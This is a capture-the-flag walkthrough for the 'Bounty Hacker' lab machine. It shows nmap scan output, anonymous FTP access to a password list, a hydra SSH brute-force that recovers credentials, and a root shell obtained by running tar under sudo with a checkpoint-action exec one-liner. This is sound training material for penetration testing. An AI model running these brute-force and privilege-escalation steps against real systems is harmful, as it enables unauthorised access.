Bounty_Hacker_Walthrough

Nmap_Scan

```
nmap -T4 -A 10.10.244.105
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-11 19:53 PDT
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 37.75% done; ETC: 19:54 (0:00:08 remaining)
Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 19:54 (0:00:03 remaining)
Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.76% done; ETC: 19:54 (0:00:00 remaining)
Nmap scan report for 10.10.244.105
Host is up (0.19s latency).
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.2.0.78
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dcf8dfa7a6006d18b0702ba5aaa6143e (RSA)
|   256 ecc0f2d91e6f487d389ae3bb08c40cc9 (ECDSA)
|_  256 a41a15a5d4b1cf8f16503a7dd0d813c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.93 seconds
```

Notes

We run an nmap scan, and see 3 ports open 21 ftp,22 ssh, 80 http. My first thought is to look at ftp because it has anonymous login.

FTP

```
220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||42202|)
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
```

Notes

When we login to ftp, we see 2 .txt files. mget *.* files. Reading those files we see 1 is a note with a username of lin. the second file is a password list. Lets try to bruteforce ssh.

SSH

```
hydra -L UserNames -P locks.txt ssh://10.10.244.105                        130 ×
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-11 20:15:00
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 130 login tries (l:5/p:26), ~9 tries per task
[DATA] attacking ssh://10.10.244.105:22/
[22][ssh] host: 10.10.244.105   login: lin   password: RedDr4gon
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-11 20:15:38
```

Notes

I made my own worlist and added lin to that list. HINT thats not the full password. Now login to ssh and get your user flag.

PrivEsc

```
lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
```

Notes

We run sudo -l to see what lin can run as root. Lin can run tar as root. Go to GTFObins type in tar, go to sudo then copy and paste command to get root.

Command for root:

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

Thanks I hope you find this usefull.